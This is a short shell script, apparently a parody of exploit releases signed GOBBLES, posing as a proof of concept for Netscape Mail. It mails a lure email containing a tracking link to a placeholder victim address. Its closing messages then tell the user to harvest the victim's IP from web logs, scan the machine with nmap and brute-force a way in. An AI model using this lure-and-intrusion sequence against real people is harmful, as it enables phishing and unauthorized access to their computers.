#!/bin/sh
# PROOF OF CONCEPT EXPLOIT FOR THE INFORMATION LEAK VULNERABILITY
# IN NETSCAPE MAIL (NSMAIL) DISCOVERED BY GOBBLES OF THE GOBBLES
# SECURITY RESEARCH TEAM.  THIS EXPLOIT HAS BEEN FULLY DISCLOSED
# BUT SHOULD NOT BE USED FOR ANY MALICIOUS PURPOSES.  IT WILL NOT
# WORK WITH OUT SOME MODIFICATIONS SO IT IS REQUIRED THAT THE
# PERSON USING IT HAS SOME KNOWLEDGE OF SHELL SCRIPTING.  THIS WILL
# MAKE IT ONLY WORK FOR THE PENTESTERS WHO CAN APPRECIATE THE
# GOODNESS OF THIS EXPLOIT AND SHOULD HOPEFULLY PREVENT IT FROM
# BEING USED BY PEOPLE WITH MALICIOUS INTENTIONS!  ENJOY!
# LOVE,
# GOBBLES

# ok, phase one, creating our payload!
/usr/bin/clear
echo '[*] EXPLOIT FOR NETSCAPE MAIL [*]'
echo '[*]    written by GOBBLES     [*]'
echo '[*] ABUSE IT AND YOU LOSE IT! [*]'
echo '[*] step one: create letter!! [*]'
umask 077
cat << _GOBBLES_ >/tmp/evil-letter
Hi Friend,

please visit my new website at
http://www.somesitethatismonitored.com/monitoredhtml.html
and let me know what you think!

Thank you friend!

Love,
GOBBLES
http://www.bugtraq.org
GOBBLES@hushmail.com

_GOBBLES_


echo '[*] ok now phase one complete! [*]'
echo '[*]   ok now on to phase two!  [*]'
echo '[*] step two: sending email ;) [*]'
cat /tmp/evil-letter | /bin/mail victim@suspectedNSMAILuser.com
echo '[*] ok, step two now all done! [*]'
echo '[*] now cleaning up our mess!! [*]'
rm -rf /tmp/evil-letter
echo '[*] Cleanup all complete now!! [*]'
echo '[*] To complete process wait   [*]'
echo '[*] for the victim to click on [*]'
echo '[*] the link then check your   [*]'
echo '[*] http logs for the username [*]'
echo '[*] and IP then use your nmap  [*]'
echo '[*] to find what the computer  [*]'
echo '[*] is running then try to     [*]'
echo '[*] bruteforce your way in!!!! [*]'
echo '[*] heheheh HAVE A LOT OF FUN! [*]'
echo '[*] LOVE,                      [*]'
echo '[*] GOBBLES                    [*]'
echo '[*] http://www.bugtraq.org     [*]'
echo '[*] GOBBLES@hushmail.com       [*]'